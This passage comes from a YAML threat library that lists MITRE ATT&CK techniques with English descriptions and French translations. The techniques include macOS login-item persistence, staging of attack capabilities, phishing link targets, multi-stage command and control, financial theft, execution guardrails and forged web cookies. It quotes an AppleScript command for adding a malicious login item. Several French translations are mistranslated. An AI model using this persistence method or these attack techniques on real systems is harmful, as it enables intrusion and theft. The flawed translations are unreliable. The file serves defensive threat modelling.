          \ pour configurer leur environnement utilisateur afin de lancer des services\
          \ ou des applications couramment utilis\xE9s, tels que des applications\
          \ de messagerie, de chat et de musique.\n\nLes adversaires peuvent utiliser\
          \ les appels [AppleScript](https://attack.mitre.org/techniques/T1059/002)\
          \ et [Native API](https://attack.mitre.org/techniques/T1106) pour cr\xE9\
          er un \xE9l\xE9ment de connexion afin de g\xE9n\xE9rer des ex\xE9cutables\
          \ malveillants. (Citation : ELC en cours d\u2019ex\xE9cution au d\xE9marrage)\
          \ Avant la version 10.5 sur macOS, les adversaires pouvaient ajouter des\
          \ \xE9l\xE9ments de connexion \xE0 l\u2019aide de [AppleScript](https://attack.mitre.org/techniques/T1059/002)\
          \ pour envoyer des \xE9v\xE9nements Apple au processus \xAB \xC9v\xE9nements\
          \ syst\xE8me \xBB, qui dispose d\u2019un dictionnaire AppleScript pour manipuler\
          \ les \xE9l\xE9ments de connexion. (Citation : \xC9l\xE9ments de connexion\
          \ AE) Les adversaires peuvent utiliser une commande telle que <code>tell\
          \ application \xAB\_System Events\_\xBB pour cr\xE9er un \xE9l\xE9ment de\
          \ connexion \xE0 la fin avec les propri\xE9t\xE9s /path/to/executable</code>.\
          \ (Citation : Startup Items Eclectic)(Citation : analyse hexed osx.dok 2019)(citation\_\
          : Ajouter une liste Supprimer les \xE9l\xE9ments de connexion Apple Script)\
          \ Cette commande ajoute le chemin d\u2019acc\xE8s de l\u2019ex\xE9cutable\
          \ malveillant \xE0 la liste des fichiers d\u2019\xE9l\xE9ments de connexion\
          \ situ\xE9e dans <code>~/Library/Application Support/com.apple.backgroundtaskmanagementagent/backgrounditems.btm</code>.\
          \ (Citation : Startup Items Eclectic) Les adversaires peuvent \xE9galement\
          \ utiliser des \xE9l\xE9ments de connexion pour lancer des ex\xE9cutables\
          \ qui peuvent \xEAtre utilis\xE9s pour contr\xF4ler le syst\xE8me victime\
          \ \xE0 distance ou comme moyen d\u2019obtenir une \xE9l\xE9vation de privil\xE8\
          ges en demandant les informations d\u2019identification de l\u2019utilisateur.\
          \ (Citation\_: objsee mac malware 2017)(Citation : CheckPoint Dok)(Citation\
          \ : objsee netwire backdoor 2019)\nhttps://attack.mitre.org/techniques/T1547/015"
  - urn: urn:intuitem:risk:threat:mitre-attack:t1608
    ref_id: T1608
    name: Stage Capabilities
    description: 'Adversaries may upload, install, or otherwise set up capabilities
      that can be used during targeting. To support their operations, an adversary
      may need to take capabilities they developed ([Develop Capabilities](https://attack.mitre.org/techniques/T1587))
      or obtained ([Obtain Capabilities](https://attack.mitre.org/techniques/T1588))
      and stage them on infrastructure under their control. These capabilities may
      be staged on infrastructure that was previously purchased/rented by the adversary
      ([Acquire Infrastructure](https://attack.mitre.org/techniques/T1583)) or was
      otherwise compromised by them ([Compromise Infrastructure](https://attack.mitre.org/techniques/T1584)).
      Capabilities may also be staged on web services, such as GitHub or Pastebin,
      or on Platform-as-a-Service (PaaS) offerings that enable users to easily provision
      applications.(Citation: Volexity Ocean Lotus November 2020)(Citation: Dragos
      Heroku Watering Hole)(Citation: Malwarebytes Heroku Skimmers)(Citation: Netskope
      GCP Redirection)(Citation: Netskope Cloud Phishing)


      Staging of capabilities can aid the adversary in a number of initial access
      and post-compromise behaviors, including (but not limited to):


      * Staging web resources necessary to conduct [Drive-by Compromise](https://attack.mitre.org/techniques/T1189)
      when a user browses to a site.(Citation: FireEye CFR Watering Hole 2012)(Citation:
      Gallagher 2015)(Citation: ATT ScanBox)

      * Staging web resources for a link target to be used with spearphishing.(Citation:
      Malwarebytes Silent Librarian October 2020)(Citation: Proofpoint TA407 September
      2019)

      * Uploading malware or tools to a location accessible to a victim network to
      enable [Ingress Tool Transfer](https://attack.mitre.org/techniques/T1105).(Citation:
      Volexity Ocean Lotus November 2020)

      * Installing a previously acquired SSL/TLS certificate to use to encrypt command
      and control traffic (ex: [Asymmetric Cryptography](https://attack.mitre.org/techniques/T1573/002)
      with [Web Protocols](https://attack.mitre.org/techniques/T1071/001)).(Citation:
      DigiCert Install SSL Cert)

      https://attack.mitre.org/techniques/T1608'
    translations:
      fr:
        name: "Capacit\xE9s de la sc\xE8ne"
        description: "Les adversaires peuvent t\xE9l\xE9charger, installer ou configurer\
          \ d\u2019une autre mani\xE8re des fonctionnalit\xE9s qui peuvent \xEAtre\
          \ utilis\xE9es pendant le ciblage. Pour soutenir ses op\xE9rations, un adversaire\
          \ peut avoir besoin de prendre les capacit\xE9s qu\u2019il a d\xE9velopp\xE9\
          es ([D\xE9velopper des capacit\xE9s](https://attack.mitre.org/techniques/T1587))\
          \ ou obtenues ([Obtenir des capacit\xE9s](https://attack.mitre.org/techniques/T1588))\
          \ et de les mettre en place sur une infrastructure sous son contr\xF4le.\
          \ Ces capacit\xE9s peuvent \xEAtre d\xE9ploy\xE9es sur une infrastructure\
          \ qui a d\xE9j\xE0 \xE9t\xE9 achet\xE9e/lou\xE9e par l\u2019adversaire ([Acqu\xE9\
          rir l\u2019infrastructure](https://attack.mitre.org/techniques/T1583)) ou\
          \ qui a \xE9t\xE9 compromise par celui-ci ([Compromettre l\u2019infrastructure](https://attack.mitre.org/techniques/T1584)).\
          \ Les fonctionnalit\xE9s peuvent \xE9galement \xEAtre mises en sc\xE8ne\
          \ sur des services Web, tels que GitHub ou Pastebin, ou sur des offres PaaS\
          \ (Platform-as-a-Service) qui permettent aux utilisateurs de provisionner\
          \ facilement des applications. (Citation : Volexity Ocean Lotus novembre\
          \ 2020)(Citation : Trou d\u2019eau de Dragos Heroku)(Citation : Malwarebytes\
          \ Heroku Skimmers)(Citation : Redirection Netskope GCP)(Citation : Netskope\
          \ Cloud Phishing)\n\nLa mise en sc\xE8ne des capacit\xE9s peut aider l\u2019\
          adversaire dans un certain nombre de comportements d\u2019acc\xE8s initiaux\
          \ et post-compromission, notamment (mais sans s\u2019y limiter) :\n\n* Mise\
          \ en sc\xE8ne des ressources Web n\xE9cessaires pour effectuer le [Drive-by\
          \ Compromise](https://attack.mitre.org/techniques/T1189) lorsqu\u2019un\
          \ utilisateur navigue sur un site. (Citation : FireEye CFR Watering Hole\
          \ 2012)(R\xE9f\xE9rence : Gallagher 2015)(Citation : ATT ScanBox)\n* Mise\
          \ en sc\xE8ne des ressources web pour une cible de lien \xE0 utiliser avec\
          \ le spearphishing. (Citation : Malwarebytes Silent Librarian octobre 2020)(Citation\
          \ : Proofpoint TA407 septembre 2019)\n* T\xE9l\xE9chargement de logiciels\
          \ malveillants ou d\u2019outils vers un emplacement accessible au r\xE9\
          seau d\u2019une victime pour permettre le [Transfert d\u2019outils d\u2019\
          entr\xE9e](https://attack.mitre.org/techniques/T1105). (Citation : Volexity\
          \ Ocean Lotus novembre 2020)\n* Installation d\u2019un certificat SSL/TLS\
          \ pr\xE9c\xE9demment acquis \xE0 utiliser pour chiffrer le trafic de commande\
          \ et de contr\xF4le (ex : [Cryptographie asym\xE9trique](https://attack.mitre.org/techniques/T1573/002)\
          \ avec [Protocoles Web](https://attack.mitre.org/techniques/T1071/001)).\
          \ (Citation : DigiCert Install SSL Cert)\nhttps://attack.mitre.org/techniques/T1608"
  - urn: urn:intuitem:risk:threat:mitre-attack:t1608.005
    ref_id: T1608.005
    name: Link Target
    description: "Adversaries may put in place resources that are referenced by a\
      \ link that can be used during targeting. An adversary may rely upon a user\
      \ clicking a malicious link in order to divulge information (including credentials)\
      \ or to gain execution, as in [Malicious Link](https://attack.mitre.org/techniques/T1204/001).\
      \ Links can be used for spearphishing, such as sending an email accompanied\
      \ by social engineering text to coax the user to actively click or copy and\
      \ paste a URL into a browser. Prior to a phish for information (as in [Spearphishing\
      \ Link](https://attack.mitre.org/techniques/T1598/003)) or a phish to gain initial\
      \ access to a system (as in [Spearphishing Link](https://attack.mitre.org/techniques/T1566/002)),\
      \ an adversary must set up the resources for a link target for the spearphishing\
      \ link. \n\nTypically, the resources for a link target will be an HTML page\
      \ that may include some client-side script such as [JavaScript](https://attack.mitre.org/techniques/T1059/007)\
      \ to decide what content to serve to the user. Adversaries may clone legitimate\
      \ sites to serve as the link target, this can include cloning of login pages\
      \ of legitimate web services or organization login pages in an effort to harvest\
      \ credentials during [Spearphishing Link](https://attack.mitre.org/techniques/T1598/003).(Citation:\
      \ Malwarebytes Silent Librarian October 2020)(Citation: Proofpoint TA407 September\
      \ 2019) Adversaries may also [Upload Malware](https://attack.mitre.org/techniques/T1608/001)\
      \ and have the link target point to malware for download/execution by the user.\n\
      \nAdversaries may purchase domains similar to legitimate domains (ex: homoglyphs,\
      \ typosquatting, different top-level domain, etc.) during acquisition of infrastructure\
      \ ([Domains](https://attack.mitre.org/techniques/T1583/001)) to help facilitate\
      \ [Malicious Link](https://attack.mitre.org/techniques/T1204/001).\n\nLinks\
      \ can be written by adversaries to mask the true destination in order to deceive\
      \ victims by abusing the URL schema and increasing the effectiveness of phishing.(Citation:\
      \ Kaspersky-masking)(Citation: mandiant-masking)\n\nAdversaries may also use\
      \ free or paid accounts on link shortening services and Platform-as-a-Service\
      \ providers to host link targets while taking advantage of the widely trusted\
      \ domains of those providers to avoid being blocked while redirecting victims\
      \ to malicious pages.(Citation: Netskope GCP Redirection)(Citation: Netskope\
      \ Cloud Phishing)(Citation: Intezer App Service Phishing)(Citation: Cofense-redirect)\
      \ In addition, adversaries may serve a variety of malicious links through uniquely\
      \ generated URIs/URLs (including one-time, single use links).(Citation: iOS\
      \ URL Scheme)(Citation: URI)(Citation: URI Use)(Citation: URI Unique) Finally,\
      \ adversaries may take advantage of the decentralized nature of the InterPlanetary\
      \ File System (IPFS) to host link targets that are difficult to remove.(Citation:\
      \ Talos IPFS 2022)\nhttps://attack.mitre.org/techniques/T1608/005"
    translations:
      fr:
        name: Cible du lien
        description: "Les adversaires peuvent mettre en place des ressources r\xE9\
          f\xE9renc\xE9es par un lien qui peut \xEAtre utilis\xE9 lors du ciblage.\
          \ Un adversaire peut compter sur le fait qu\u2019un utilisateur clique sur\
          \ un lien malveillant afin de divulguer des informations (y compris des\
          \ informations d\u2019identification) ou d\u2019obtenir une ex\xE9cution,\
          \ comme dans [Lien malveillant](https://attack.mitre.org/techniques/T1204/001).\
          \ Les liens peuvent \xEAtre utilis\xE9s pour le spearphishing, par exemple\
          \ pour envoyer un e-mail accompagn\xE9 d\u2019un texte d\u2019ing\xE9nierie\
          \ sociale afin d\u2019inciter l\u2019utilisateur \xE0 cliquer activement\
          \ ou \xE0 copier et coller une URL dans un navigateur. Avant d\u2019effectuer\
          \ un hame\xE7onnage pour obtenir des informations (comme dans [Lien de spearphishing](https://attack.mitre.org/techniques/T1598/003))\
          \ ou un hame\xE7onnage pour obtenir un premier acc\xE8s \xE0 un syst\xE8\
          me (comme dans [Lien de spearphishing](https://attack.mitre.org/techniques/T1566/002)),\
          \ un adversaire doit configurer les ressources d\u2019une cible de lien\
          \ pour le lien de spearphishing. \n\nEn r\xE8gle g\xE9n\xE9rale, les ressources\
          \ d\u2019une cible de lien sont une page HTML qui peut inclure un script\
          \ c\xF4t\xE9 client tel que [JavaScript](https://attack.mitre.org/techniques/T1059/007)\
          \ pour d\xE9cider du contenu \xE0 proposer \xE0 l\u2019utilisateur. Les\
          \ adversaires peuvent cloner des sites l\xE9gitimes pour servir de cible\
          \ de lien, ce qui peut inclure le clonage de pages de connexion de services\
          \ Web l\xE9gitimes ou de pages de connexion d\u2019organisation dans le\
          \ but de collecter des informations d\u2019identification pendant [Lien\
          \ de spearphishing](https://attack.mitre.org/techniques/T1598/003). (Citation\
          \ : Malwarebytes Silent Librarian octobre 2020)(Citation : Proofpoint TA407\
          \ septembre 2019) Les adversaires peuvent \xE9galement [T\xE9l\xE9charger\
          \ un logiciel malveillant](https://attack.mitre.org/techniques/T1608/001)\
          \ et faire pointer la cible du lien vers un logiciel malveillant pour t\xE9\
          l\xE9chargement/ex\xE9cution par l\u2019utilisateur.\n\nLes adversaires\
          \ peuvent acheter des domaines similaires \xE0 des domaines l\xE9gitimes\
          \ (par exemple : homoglyphes, typosquattage, domaine de premier niveau diff\xE9\
          rent, etc.) lors de l\u2019acquisition d\u2019infrastructures ([Domaines](https://attack.mitre.org/techniques/T1583/001))\
          \ pour faciliter [Lien malveillant](https://attack.mitre.org/techniques/T1204/001).\n\
          \nDes liens peuvent \xEAtre \xE9crits par des adversaires pour masquer la\
          \ v\xE9ritable destination afin de tromper les victimes en abusant du sch\xE9\
          ma d\u2019URL et en augmentant l\u2019efficacit\xE9 du phishing. (Citation\
          \ : Masquage Kaspersky)(Citation : mandiant-masking)\n\nLes adversaires\
          \ peuvent \xE9galement utiliser des comptes gratuits ou payants sur des\
          \ services de raccourcissement de liens et des fournisseurs de plates-formes\
          \ en tant que service pour h\xE9berger des cibles de liens tout en profitant\
          \ des domaines largement fiables de ces fournisseurs pour \xE9viter d\u2019\
          \xEAtre bloqu\xE9s tout en redirigeant les victimes vers des pages malveillantes.\
          \ (Citation : Redirection Netskope GCP)(Citation : Netskope Cloud Phishing)(Citation\
          \ : Intezer App Service Phishing)(Citation : Cofense-redirect) En outre,\
          \ les adversaires peuvent diffuser une vari\xE9t\xE9 de liens malveillants\
          \ par le biais d\u2019URI/URL g\xE9n\xE9r\xE9es de mani\xE8re unique (y\
          \ compris des liens \xE0 usage unique et uniques). (Citation : Sch\xE9ma\
          \ d\u2019URL iOS)(Citation : URI)(citation : utilisation de l\u2019URI)(citation\
          \ : URI unique) Enfin, les adversaires peuvent tirer parti de la nature\
          \ d\xE9centralis\xE9e de l\u2019InterPlanetary File System (IPFS) pour h\xE9\
          berger des cibles de liens difficiles \xE0 supprimer. (R\xE9f\xE9rence :\
          \ Talos IPFS 2022)\nhttps://attack.mitre.org/techniques/T1608/005"
  - urn: urn:intuitem:risk:threat:mitre-attack:t1104
    ref_id: T1104
    name: Multi-Stage Channels
    description: 'Adversaries may create multiple stages for command and control that
      are employed under different conditions or for certain functions. Use of multiple
      stages may obfuscate the command and control channel to make detection more
      difficult.


      Remote access tools will call back to the first-stage command and control server
      for instructions. The first stage may have automated capabilities to collect
      basic host information, update tools, and upload additional files. A second
      remote access tool (RAT) could be uploaded at that point to redirect the host
      to the second-stage command and control server. The second stage will likely
      be more fully featured and allow the adversary to interact with the system through
      a reverse shell and additional RAT features.


      The different stages will likely be hosted separately with no overlapping infrastructure.
      The loader may also have backup first-stage callbacks or [Fallback Channels](https://attack.mitre.org/techniques/T1008)
      in case the original first-stage communication path is discovered and blocked.

      https://attack.mitre.org/techniques/T1104'
    translations:
      fr:
        name: "Canaux \xE0 plusieurs \xE9tages"
        description: "Les adversaires peuvent cr\xE9er plusieurs \xE9tapes de commandement\
          \ et de contr\xF4le qui sont employ\xE9es dans des conditions diff\xE9rentes\
          \ ou pour certaines fonctions. L\u2019utilisation de plusieurs \xE9tages\
          \ peut obscurcir le canal de commande et de contr\xF4le et rendre la d\xE9\
          tection plus difficile.\n\nLes outils d\u2019acc\xE8s \xE0 distance rappelleront\
          \ le serveur de commande et de contr\xF4le de premier niveau pour obtenir\
          \ des instructions. La premi\xE8re \xE9tape peut avoir des capacit\xE9s\
          \ automatis\xE9es pour collecter des informations de base sur l\u2019h\xF4\
          te, mettre \xE0 jour les outils et t\xE9l\xE9charger des fichiers suppl\xE9\
          mentaires. Un deuxi\xE8me outil d\u2019acc\xE8s \xE0 distance (RAT) peut\
          \ \xEAtre t\xE9l\xE9charg\xE9 \xE0 ce stade pour rediriger l\u2019h\xF4\
          te vers le serveur de commande et de contr\xF4le de deuxi\xE8me \xE9tape.\
          \ La deuxi\xE8me \xE9tape sera probablement plus compl\xE8te et permettra\
          \ \xE0 l\u2019adversaire d\u2019interagir avec le syst\xE8me par le biais\
          \ d\u2019une coquille invers\xE9e et de fonctionnalit\xE9s RAT suppl\xE9\
          mentaires.\n\nLes diff\xE9rentes \xE9tapes seront probablement h\xE9berg\xE9\
          es s\xE9par\xE9ment, sans chevauchement d\u2019infrastructure. Le chargeur\
          \ peut \xE9galement disposer de rappels de premi\xE8re \xE9tape de secours\
          \ ou de [Canaux de secours](https://attack.mitre.org/techniques/T1008) au\
          \ cas o\xF9 le chemin de communication initial de la premi\xE8re \xE9tape\
          \ serait d\xE9couvert et bloqu\xE9.\nhttps://attack.mitre.org/techniques/T1104"
  - urn: urn:intuitem:risk:threat:mitre-attack:t1657
    ref_id: T1657
    name: Financial Theft
    description: "Adversaries may steal monetary resources from targets through extortion,\
      \ social engineering, technical theft, or other methods aimed at their own financial\
      \ gain at the expense of the availability of these resources for victims. Financial\
      \ theft is the ultimate objective of several popular campaign types including\
      \ extortion by ransomware,(Citation: FBI-ransomware) business email compromise\
      \ (BEC) and fraud,(Citation: FBI-BEC) \"pig butchering,\"(Citation: wired-pig\
      \ butchering) bank hacking,(Citation: DOJ-DPRK Heist) and exploiting cryptocurrency\
      \ networks.(Citation: BBC-Ronin) \n\nAdversaries may [Compromise Accounts](https://attack.mitre.org/techniques/T1586)\
      \ to conduct unauthorized transfers of funds.(Citation: Internet crime report\
      \ 2022) In the case of business email compromise or email fraud, an adversary\
      \ may utilize [Impersonation](https://attack.mitre.org/techniques/T1656) of\
      \ a trusted entity. Once the social engineering is successful, victims can be\
      \ deceived into sending money to financial accounts controlled by an adversary.(Citation:\
      \ FBI-BEC) This creates the potential for multiple victims (i.e., compromised\
      \ accounts as well as the ultimate monetary loss) in incidents involving financial\
      \ theft.(Citation: VEC)\n\nExtortion by ransomware may occur, for example, when\
      \ an adversary demands payment from a victim after [Data Encrypted for Impact](https://attack.mitre.org/techniques/T1486)\
      \ (Citation: NYT-Colonial) and [Exfiltration](https://attack.mitre.org/tactics/TA0010)\
      \ of data, followed by threatening to leak sensitive data to the public unless\
      \ payment is made to the adversary.(Citation: Mandiant-leaks) Adversaries may\
      \ use dedicated leak sites to distribute victim data.(Citation: Crowdstrike-leaks)\n\
      \nDue to the potentially immense business impact of financial theft, an adversary\
      \ may abuse the possibility of financial theft and seeking monetary gain to\
      \ divert attention from their true goals such as [Data Destruction](https://attack.mitre.org/techniques/T1485)\
      \ and business disruption.(Citation: AP-NotPetya)\nhttps://attack.mitre.org/techniques/T1657"
    translations:
      fr:
        name: Vol financier
        description: "Les adversaires peuvent voler des ressources mon\xE9taires \xE0\
          \ des cibles par le biais de l\u2019extorsion, de l\u2019ing\xE9nierie sociale,\
          \ du vol technique ou d\u2019autres m\xE9thodes visant \xE0 leur propre\
          \ gain financier au d\xE9triment de la disponibilit\xE9 de ces ressources\
          \ pour les victimes. Le vol financier est l\u2019objectif ultime de plusieurs\
          \ types de campagnes populaires, notamment l\u2019extorsion par ransomware,\
          \ la compromission des e-mails professionnels (BEC) et la fraude, le piratage\
          \ de banques, le piratage bancaire et l\u2019exploitation des r\xE9seaux\
          \ de cryptomonnaies. (Citation : BBC-Ronin) \n\nLes adversaires peuvent\
          \ [Compromettre des comptes](https://attack.mitre.org/techniques/T1586)\
          \ pour effectuer des transferts de fonds non autoris\xE9s. (Citation : Rapport\
          \ sur la criminalit\xE9 sur Internet 2022) Dans le cas d\u2019une compromission\
          \ d\u2019e-mail professionnel ou d\u2019une fraude par e-mail, un adversaire\
          \ peut utiliser [Usurpation d\u2019identit\xE9](https://attack.mitre.org/techniques/T1656)\
          \ d\u2019une entit\xE9 de confiance. Une fois que l\u2019ing\xE9nierie sociale\
          \ a r\xE9ussi, les victimes peuvent \xEAtre tromp\xE9es et envoyer de l\u2019\
          argent sur des comptes financiers contr\xF4l\xE9s par un adversaire. (R\xE9\
          f\xE9rence : FBI-BEC) Cela cr\xE9e un risque de victimes multiples (c\u2019\
          est-\xE0-dire des comptes compromis ainsi que la perte mon\xE9taire ultime)\
          \ dans les incidents impliquant un vol financier. (R\xE9f\xE9rence : VEC)\n\
          \nL\u2019extorsion par ransomware peut se produire, par exemple, lorsqu\u2019\
          un adversaire exige un paiement d\u2019une victime apr\xE8s [Data Encrypted\
          \ for Impact](https://attack.mitre.org/techniques/T1486) (Citation : NYT-Colonial)\
          \ et [Exfiltration](https://attack.mitre.org/tactics/TA0010) de donn\xE9\
          es, suivi d\u2019une menace de fuite de donn\xE9es sensibles au public si\
          \ le paiement n\u2019est pas effectu\xE9 \xE0 l\u2019adversaire. (Citation\
          \ : Mandiant-leaks) Les adversaires peuvent utiliser des sites de fuite\
          \ d\xE9di\xE9s pour distribuer les donn\xE9es des victimes. (Citation :\
          \ Crowdstrike-leaks)\n\nEn raison de l\u2019impact commercial potentiellement\
          \ immense du vol financier, un adversaire peut abuser de la possibilit\xE9\
          \ d\u2019un vol financier et rechercher un gain financier pour d\xE9tourner\
          \ l\u2019attention de ses v\xE9ritables objectifs tels que la destruction\
          \ de donn\xE9es(https://attack.mitre.org/techniques/T1485) et l\u2019interruption\
          \ de l\u2019activit\xE9. (Citation : AP-NotPetya)\nhttps://attack.mitre.org/techniques/T1657"
  - urn: urn:intuitem:risk:threat:mitre-attack:t1480
    ref_id: T1480
    name: Execution Guardrails
    description: "Adversaries may use execution guardrails to constrain execution\
      \ or actions based on adversary supplied and environment specific conditions\
      \ that are expected to be present on the target. Guardrails ensure that a payload\
      \ only executes against an intended target and reduces collateral damage from\
      \ an adversary\u2019s campaign.(Citation: FireEye Kevin Mandia Guardrails) Values\
      \ an adversary can provide about a target system or environment to use as guardrails\
      \ may include specific network share names, attached physical devices, files,\
      \ joined Active Directory (AD) domains, and local/external IP addresses.(Citation:\
      \ FireEye Outlook Dec 2019)\n\nGuardrails can be used to prevent exposure of\
      \ capabilities in environments that are not intended to be compromised or operated\
      \ within. This use of guardrails is distinct from typical [Virtualization/Sandbox\
      \ Evasion](https://attack.mitre.org/techniques/T1497). While use of [Virtualization/Sandbox\
      \ Evasion](https://attack.mitre.org/techniques/T1497) may involve checking for\
      \ known sandbox values and continuing with execution only if there is no match,\
      \ the use of guardrails will involve checking for an expected target-specific\
      \ value and only continuing with execution if there is such a match.\n\nAdversaries\
      \ may identify and block certain user-agents to evade defenses and narrow the\
      \ scope of their attack to victims and platforms on which it will be most effective.\
      \ A user-agent self-identifies data such as a user's software application, operating\
      \ system, vendor, and version. Adversaries may check user-agents for operating\
      \ system identification and then only serve malware for the exploitable software\
      \ while ignoring all other operating systems.(Citation: Trellix-Qakbot)\nhttps://attack.mitre.org/techniques/T1480"
    translations:
      fr:
        name: "Garde-fous d\u2019ex\xE9cution"
        description: "Les adversaires peuvent utiliser des garde-fous d\u2019ex\xE9\
          cution pour limiter l\u2019ex\xE9cution ou les actions en fonction des conditions\
          \ sp\xE9cifiques fournies par l\u2019adversaire et de l\u2019environnement\
          \ qui devraient \xEAtre pr\xE9sentes sur la cible. Les garde-fous garantissent\
          \ qu\u2019une charge utile ne s\u2019ex\xE9cute que contre une cible pr\xE9\
          vue et r\xE9duisent les dommages collat\xE9raux de la campagne d\u2019un\
          \ adversaire. (Citation : FireEye Kevin Mandia Guardrails) Les valeurs qu\u2019\
          un adversaire peut fournir \xE0 propos d\u2019un syst\xE8me ou d\u2019un\
          \ environnement cible \xE0 utiliser comme garde-fous peuvent inclure des\
          \ noms de partage de r\xE9seau sp\xE9cifiques, des p\xE9riph\xE9riques physiques\
          \ attach\xE9s, des fichiers, des domaines Active Directory (AD) joints et\
          \ des adresses IP locales/externes. (Citation : FireEye Outlook d\xE9cembre\
          \ 2019)\n\nLes garde-corps peuvent \xEAtre utilis\xE9s pour emp\xEAcher\
          \ l\u2019exposition des capacit\xE9s dans des environnements qui ne sont\
          \ pas destin\xE9s \xE0 \xEAtre compromis ou \xE0 \xEAtre exploit\xE9s dans\
          \ dedans. Cette utilisation des garde-fous est distincte de la [Virtualisation/\xC9\
          vasion du bac \xE0 sable](https://attack.mitre.org/techniques/T1497). Alors\
          \ que l\u2019utilisation de [Virtualisation/\xC9vasion de bac \xE0 sable](https://attack.mitre.org/techniques/T1497)\
          \ peut impliquer la v\xE9rification des valeurs connues du bac \xE0 sable\
          \ et la poursuite de l\u2019ex\xE9cution uniquement s\u2019il n\u2019y a\
          \ pas de correspondance, l\u2019utilisation de garde-fous implique la v\xE9\
          rification d\u2019une valeur attendue sp\xE9cifique \xE0 la cible et la\
          \ poursuite de l\u2019ex\xE9cution uniquement s\u2019il existe une telle\
          \ correspondance.\n\nLes adversaires peuvent identifier et bloquer certains\
          \ user-agents pour \xE9chapper aux d\xE9fenses et restreindre la port\xE9\
          e de leur attaque aux victimes et aux plateformes sur lesquelles elle sera\
          \ la plus efficace. Un agent utilisateur identifie lui-m\xEAme des donn\xE9\
          es telles que l\u2019application logicielle, le syst\xE8me d\u2019exploitation,\
          \ le fournisseur et la version de l\u2019utilisateur. Les adversaires peuvent\
          \ v\xE9rifier l\u2019identification du syst\xE8me d\u2019exploitation par\
          \ les agents utilisateurs, puis ne diffuser que des logiciels malveillants\
          \ pour les logiciels exploitables tout en ignorant tous les autres syst\xE8\
          mes d\u2019exploitation. (Citation : Trellix-Qakbot)\nhttps://attack.mitre.org/techniques/T1480"
  - urn: urn:intuitem:risk:threat:mitre-attack:t1619
    ref_id: T1619
    name: Cloud Storage Object Discovery
    description: 'Adversaries may enumerate objects in cloud storage infrastructure.
      Adversaries may use this information during automated discovery to shape follow-on
      behaviors, including requesting all or specific objects from cloud storage.  Similar
      to [File and Directory Discovery](https://attack.mitre.org/techniques/T1083)
      on a local host, after identifying available storage services (i.e. [Cloud Infrastructure
      Discovery](https://attack.mitre.org/techniques/T1580)) adversaries may access
      the contents/objects stored in cloud infrastructure.


      Cloud service providers offer APIs allowing users to enumerate objects stored
      within cloud storage. Examples include ListObjectsV2 in AWS (Citation: ListObjectsV2)
      and List Blobs in Azure(Citation: List Blobs) .

      https://attack.mitre.org/techniques/T1619'
    translations:
      fr:
        name: "D\xE9couverte d\u2019objets de stockage dans le cloud"
        description: "Les adversaires peuvent \xE9num\xE9rer des objets dans l\u2019\
          infrastructure de stockage cloud. Les adversaires peuvent utiliser ces informations\
          \ lors de la d\xE9couverte automatis\xE9e pour fa\xE7onner des comportements\
          \ ult\xE9rieurs, notamment en demandant tous les objets ou des objets sp\xE9\
          cifiques \xE0 partir du stockage dans le cloud.  \xC0 l\u2019instar de [File\
          \ and Directory Discovery](https://attack.mitre.org/techniques/T1083) sur\
          \ un h\xF4te local, apr\xE8s avoir identifi\xE9 les services de stockage\
          \ disponibles (c\u2019est-\xE0-dire [Cloud Infrastructure Discovery](https://attack.mitre.org/techniques/T1580))),\
          \ les adversaires peuvent acc\xE9der au contenu/aux objets stock\xE9s dans\
          \ l\u2019infrastructure cloud.\n\nLes fournisseurs de services cloud proposent\
          \ des API permettant aux utilisateurs d\u2019\xE9num\xE9rer les objets stock\xE9\
          s dans le stockage cloud. Par exemple, ListObjectsV2 dans AWS (Citation\
          \ : ListObjectsV2) et List Blobs dans Azure (Citation : List Blobs) .\n\
          https://attack.mitre.org/techniques/T1619"
  - urn: urn:intuitem:risk:threat:mitre-attack:t1606.001
    ref_id: T1606.001
    name: Web Cookies
    description: 'Adversaries may forge web cookies that can be used to gain access
      to web applications or Internet services. Web applications and services (hosted
      in cloud SaaS environments or on-premise servers) often use session cookies
      to authenticate and authorize user access.


      Adversaries may generate these cookies in order to gain access to web resources.
      This differs from [Steal Web Session Cookie](https://attack.mitre.org/techniques/T1539)
      and other similar behaviors in that the cookies are new and forged by the adversary,
      rather than stolen or intercepted from legitimate users. Most common web applications
      have standardized and documented cookie values that can be generated using provided
      tools or interfaces.(Citation: Pass The Cookie) The generation of web cookies
      often requires secret values, such as passwords, [Private Keys](https://attack.mitre.org/techniques/T1552/004),
      or other cryptographic seed values.


      Once forged, adversaries may use these web cookies to access resources ([Web
      Session Cookie](https://attack.mitre.org/techniques/T1550/004)), which may bypass
      multi-factor and other authentication protection mechanisms.(Citation: Volexity
      SolarWinds)(Citation: Pass The Cookie)(Citation: Unit 42 Mac Crypto Cookies
      January 2019)

      https://attack.mitre.org/techniques/T1606/001'
    translations:
      fr:
        name: Web Cookies
        description: "Les adversaires peuvent falsifier des cookies Web qui peuvent\
          \ \xEAtre utilis\xE9s pour acc\xE9der \xE0 des applications Web ou \xE0\
          \ des services Internet. Les applications et services Web (h\xE9berg\xE9\
          s dans des environnements cloud SaaS ou des serveurs sur site) utilisent\
          \ souvent des cookies de session pour authentifier et autoriser l\u2019\
          acc\xE8s des utilisateurs.\n\nLes adversaires peuvent g\xE9n\xE9rer ces\
          \ cookies afin d\u2019acc\xE9der aux ressources Web. Cela diff\xE8re de\
          \ [Steal Web Session Cookie](https://attack.mitre.org/techniques/T1539)\
          \ et d\u2019autres comportements similaires en ce sens que les cookies sont\
          \ nouveaux et forg\xE9s par l\u2019adversaire, plut\xF4t que vol\xE9s ou\
          \ intercept\xE9s aupr\xE8s d\u2019utilisateurs l\xE9gitimes. La plupart\
          \ des applications Web courantes ont des valeurs de cookies standardis\xE9\
          es et document\xE9es qui peuvent \xEAtre g\xE9n\xE9r\xE9es \xE0 l\u2019\
          aide des outils ou des interfaces fournis. (Citation : Passez le cookie)\
          \ La g\xE9n\xE9ration de cookies Web n\xE9cessite souvent des valeurs secr\xE8\
          tes, telles que des mots de passe, des [cl\xE9s priv\xE9es](https://attack.mitre.org/techniques/T1552/004)\
          \ ou d\u2019autres valeurs de graine cryptographiques.\n\nUne fois falsifi\xE9\
          s, les adversaires peuvent utiliser ces cookies Web pour acc\xE9der \xE0\
          \ des ressources ([Web Session Cookie](https://attack.mitre.org/techniques/T1550/004)),\
          \ qui peuvent contourner les m\xE9canismes de protection multifactoriels\
          \ et autres m\xE9canismes de protection d\u2019authentification. (Citation\
          \ : Volexity SolarWinds)(Citation : Passez le cookie)(Citation : Unit 42\
          \ Mac Crypto Cookies Janvier 2019)\nhttps://attack.mitre.org/techniques/T1606/001"
  - urn: urn:intuitem:risk:threat:mitre-attack:t1654
